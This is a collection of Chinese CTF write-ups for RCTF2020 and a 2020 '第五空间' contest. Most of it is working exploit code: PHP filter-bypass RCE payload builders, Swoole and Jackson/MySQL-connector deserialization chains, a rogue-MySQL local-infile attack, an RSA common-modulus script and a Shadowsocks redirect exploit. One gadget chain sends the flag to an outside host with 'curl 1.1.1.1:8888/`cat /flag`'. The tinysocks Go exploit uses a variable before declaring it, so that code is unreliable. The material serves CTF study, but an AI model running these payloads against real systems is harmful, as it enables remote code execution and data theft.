2020WriteUp 汇总 VOL 2

  14 mins to read  

List [CTL]

    RCTF2020

    mysql_interface

    需要一个SQL语句,在tidb的sql parser看来有语法错误,但能成功在MySQL执行

    const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
    

    很容易想到注释符--[char],ascii < 127的不可见字符基本都可以用,FUZZ一下

    var isForbidden = [256]bool{}
    
    const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
    
    func init() {
        for i := 0; i < len(forbidden); i++ {
            isForbidden[forbidden[i]] = true
        }
    }
    
    func allow(payload string) bool {
        if len(payload) < 3 || len(payload) > 128 {
            return false
        }
        for i := 0; i < len(payload); i++ {
            if isForbidden[payload[i]] {
                return false
            }
        }
        var err error
        if _, _, err = parser.New().Parse(payload, "", ""); err != nil {
            return true
        }
        return false
    }
    
    var db, _ = sql.Open("mysql", "root:root@tcp(127.0.0.1)/security")
    
    func query(s string, c byte) {
        _, err := db.Exec(fmt.Sprintf(s, c))
        if err == nil {
            fmt.Printf("%d ", c)
        }
    }
    
    func main() {
        s := "SELECT flag from flag --%c1+1"
        for c := 1; c < 256; c++ {
            if allow(fmt.Sprintf(s, byte(c))) {
                query(s, byte(c))
            }
        }
    }
    

    以下都可

    1 2 3 4 5 6 7 8 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 127
    

    calc

    PHP7.4环境,ban掉的字符

    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; 
    

    还剩下

    ! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
    

    想办法构造出字母即可利用PHP动态调用执行函数

    php > var_dump((99**99).NULL);
    string(20) "3.6972963764973E+197"
    php > var_dump((99**99).(1){0});
    PHP Notice:  Trying to access array offset on value of type int in php shell code on line 1
    string(20) "3.6972963764973E+197"
    php > var_dump((99**99).(1));
    string(21) "3.6972963764973E+1971"
    php > var_dump((999**999).(1){0});
    PHP Notice:  Trying to access array offset on value of type int in php shell code on line 1
    string(3) "INF"
    

    可以构造出E I N F 0-9 - + .等符号,通过位运算扩展出所有字母。然后通过system(end(getallheaders()))即可RCE

    import string
    
    origin = ['E', 'N', '+', '-', 'I', 'N', 'F', '.'] + list('0123456789')
    
    c = {
            'E': '(((99**99).(1){0}){15})',
            '.': '(((99**99).(1){0}){1})',
            '+': '(((99**99).(1){0}){16})',
            '-': '(((~1).(1){0}){0})',
            'I': '(((999**999).(1){0}){0})',
            'N': '(((999**999).(1){0}){1})',
            'F': '(((999**999).(1){0}){2})',
            '0': '((0).(1){0})',
            '1': '((1).(1){0})',
            '2': '((2).(1){0})',
            '3': '((3).(1){0})',
            '4': '((4).(1){0})',
            '5': '((5).(1){0})',
            '6': '((6).(1){0})',
            '7': '((7).(1){0})',
            '8': '((8).(1){0})',
            '9': '((9).(1){0})',
    }
    
    loop = 100
    while loop > 0:
        for i in origin:
            for j in origin:
                t = chr(ord(i) & ord(j))
                if t not in origin:
                    origin.append(t)
                    c[t] = '('+ c[i] + '&' + c[j]+')'
    
                t = chr(ord(i) | ord(j))
                if t not in origin:
                    origin.append(t)
                    c[t] = '(' + c[i] + '|' + c[j]+')'
    
        loop -= 1
    
    cc = {}
    for i in c:
        cc[i.upper()] = c[i]
    
    def cons(s):
        output = ['(']
        for i in s:
            output.append(cc[i])
            output.append('.')
        return ''.join(output)[:-1] + ')'
    
    gah = cons('GETALLHEADERS')
    pos = cons('END')
    s = cons('SYSTEM')
    
    print(f'{s}({pos}({gah}()))')
    

    RCE后是readflag验证码,服务器不能出网,用了原来的一个PHP脚本

    import requests
    
    url = 'http://124.156.140.90:8081/calc.php'
    
    # ! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
    n = '((((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).((((999**999).(1){0}){0})|((0).(1){0})).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((99**99).(1){0}){15})|(((999**999).(1){0}){0})))(((((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((999**999).(1){0}){1})|(((99**99).(1){0}){1})).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))))((((((999**999).(1){0}){2})|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((999**999).(1){0}){1})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))))()))'
    
    import base64
    
    a = b"""<?php
    $d=array(
        0=>array("pipe","r"),
        1=>array("pipe","w"),
        2=>array("pipe","w")
    );
    $p=proc_open("/readflag",$d,$pipes);
    $data=fread($pipes[1],65535);
    $data=fread($pipes[1],65535);
    $calc=$data;
    echo "return ".$calc.";";
    $res=eval("return ".$calc.";");
    
    $data=fread($pipes[1],65535);
    fwrite($pipes[0],$res);
    fclose($pipes[0]);
    var_dump(stream_get_contents($pipes[1]));
    fclose($pipes[1]);
    proc_close($p);"""
    a = base64.b64encode(a).decode()
    
    r = requests.get(url, params={'num': n}, headers={'X': 'echo '+a+'|base64 -d|php'})
    print(r.text)
    

    swoole

    赛时Rogue MySQL的payload基本构造完了,除了没找到调用ConnectionPool -> get的入口(读了两遍源码还是没有头绪,因为就只知道通过字符串动态调用,在无法传递参数的情况下,只能是在destruct方法中,找了一圈没有可利用的,又猜测是swoole的hook会隐式调用某些C函数)

    $a = unserialize($code);
    $a();
    

    赛后看WP才明白,完全就是因为不知道可以通过invoke数组来调用类方法

    PHP7的动态函数(?还有更奇葩的语法吗):

    class A {
        function foo() {
            echo "foo\n";
        }
    }
    
    $f = "A::foo";
    $f();
    
    $f = ['A', 'foo'];
    $f();
    
    $f = [new A, 'foo'];
    $f();
    

    copy所有类,修改成员为public

    Nu1l的非预期

    利用CurlHandler中的readFunction callback来执行

    if ($client->body and $this->readFunction) {
        $cb = $this->readFunction;
        $cb($this, $this->outputStream, strlen($client->body));
    }
    

    如果题目没有SWOOLE_HOOK_ALL的话,其实这样就行了

    $o = new Handler('https://swoole.rctf2020.rois.io');
    $o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
    $o -> setOpt(CURLOPT_FILE, "exec");
    $o -> foo = 'whoami';
    
    /*
    array_walk(['foo' => 'whoami'], 'exec', 9);
    exec('whoami', 0, 9);
    */
    

    但exec被swoole_exec替换,当执行失败会直接抛fatal error

    再套一层

    $o = new Handler('https://swoole.rctf2020.rois.io');
    $o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
    $o -> setOpt(CURLOPT_FILE, "array_walk");
    $o -> exec = array('curl 1.1.1.1:8888/`cat /flag`');
    
    echo urlencode(serialize([$o, 'exec']));
    
    /*
    array_walk(
        ['exec' => [0 => 'whoami']],
        'array_walk', 9,
    )
    array_walk([0 => 'whoami'], 'exec', 9);
    */
    

    预期解

    通过MySQL local infile

    namespace Swoole;
    $o = new ConnectionPool;
    $o -> pool = new \SplQueue;
    $o -> num = 0;
    $o -> size = 20;
    
    $o -> proxy = '\Swoole\Database\PDOPool';
    $o -> proxy -> host = '1.1.1.1';
    $o -> proxy -> options = [
        \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
        \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
    ];
    $o -> constructor = new \Swoole\Database\PDOConfig;
    
    $p = new \Swoole\Database\PDOProxy;
    $p -> constructor = [$o, 'get'];
    
    
    $c = new \Swoole\Curl\Handler('https://swoole.rctf2020.rois.io/');
    $c -> postData = '123';
    $c -> headerFunction = [$p, 'reconnect'];
    $c -> readFunction = [$p, 'get'];
    
    echo urlencode(serialize([$c, 'exec']));
    

    第五空间智能安全大赛

    hate-php

    异或构造,动态调用

    http://121.36.74.163/?code=((%b4%b4%b4%b4%b4%b4)^(%c7%cd%c7%c0%d1%d9))((%80%80%80%80%80%80%80%80%80%80%94%a3)^(%e3%e1%f4%a0%e6%ec%e1%e7%ae%f0%fc%d3))
    

    zzm’s blog

    Java mysql-connector反序列化,有CC3.2

    利用jackson2.9.8漏洞触发

    import requests
    
    r = requests.get('http://121.36.46.83/', params={'query': """{"id":0,"Title":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://IP:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=evil"]}"""})
    

    服务端使用https://github.com/fnmsd/MySQL_Fake_Server监听

    rosb

    共模攻击

    from libnum import n2s,s2n
    from gmpy2 import invert
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def main():
        n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
        c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
        c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb
        e1 = 0xf4c1158f
        e2 = 0xf493f7d1
        s = egcd(e1, e2)
        s1 = s[1]
        s2 = s[2]
        if s1<0:
            s1 = - s1
            c1 = invert(c1, n)
        elif s2<0:
            s2 = - s2
            c2 = invert(c2, n)
    
        m = pow(c1,s1,n)*pow(c2,s2,n) % n
        print(n2s(m))
    
    if __name__ == '__main__':
      main()
    

    tinysocks

    SS重定向攻击,只写了sslocal到ssserver的部分,所以看起来是个四不像

    建议出题人认真补补密码学和Socket编程,写的什么东西

    题目是CFB-mode,提示了fake HTTPS,所以响应前7-byte是HTTP/1.。运行exp.go,服务端监听即可解密除第一个分组外的所有密文

    package main
    
    import (
    	"crypto/aes"
    	"crypto/cipher"
    	"crypto/sha256"
    	"encoding/hex"
    	"net"
    	"os"
    )
    
    func calcIV(bs []byte) []byte {
    	x := []byte("HTTP/1.")
    	iv := []byte{}
    	for i := 0; i < 7; i++ {
    		iv = append(iv, x[i]^bs[i])
    	}
    
    	return iv
    }
    
    func cc() cipher.Stream {
    	sha := sha256.New()
    	sha.Write([]byte(os.Getenv("passwd")))
    	key := sha.Sum(nil)[:aes.BlockSize]
    	iv := [aes.BlockSize]byte{}
    
    	block, _ := aes.NewCipher(key)
    	stream := cipher.NewCFBDecrypter(block, iv[:])
    	return stream
    }
    
    func str2bs(s string) []byte {
    	bs, _ := hex.DecodeString(s)
    	return bs
    }
    
    func exp(bs []byte) {
    	// buf := []byte{1, 127, 0, 0, 1, 0, 77}
    
    	stream := cc()
    	stream.XORKeyStream(buf, buf)
    
    	t := "121.36.47.205:1080"
    	// t = "127.0.0.1:9999"
    
        buf := []byte{1, 127, 0, 0, 1, 0, 80}
    	tmp := calcIV(bs[:7])
    	for i := 0; i < 7; i++ {
    		buf[i] = buf[i] ^ tmp[i]
    	}
    
    	conn, _ := net.Dial("tcp", t)
    	conn.Write(append(buf, bs[7:]...))
    }
    
    const (
    	b1 = "f2dec146b57a4684ce5772f4925f52c2742e0e4ca332f2fd1d5432c6907d92d73dad3c8bb091d806d7ece12ef85499c522a13c0e439469248b5beae50d642d438109c4dde4a8b35294961b4e0367be8e1d40b87f7fd9af4a5691e8df638c57e4b65a65b3b84e24597c798f6a1afd93a771b0ae6768b349701f477a2aa7d88d28d5b53134e428a4d873e4b4808e3ef235a261cebfbbac003d4385f52aadc5eebfab051ef65613432bc15667edb54ded61e8e2935b9b46b24a0c5655db6780a9e2bacda2299a938a05d29eee3a6c198163c280aa20af321a0ef9693f9939f45953294396793c0bbe310c5b551b5515911745312eb7bd67e0638bea3a66079c4d2c3aa9dbd9eba7f3c7a5caf6af2886cd64670387914a36a3be1d0c33b92b001801a133cba5ce838e555bd17038ba83633c"
    )
    
    func main() {
    	exp(str2bs(b1))
    }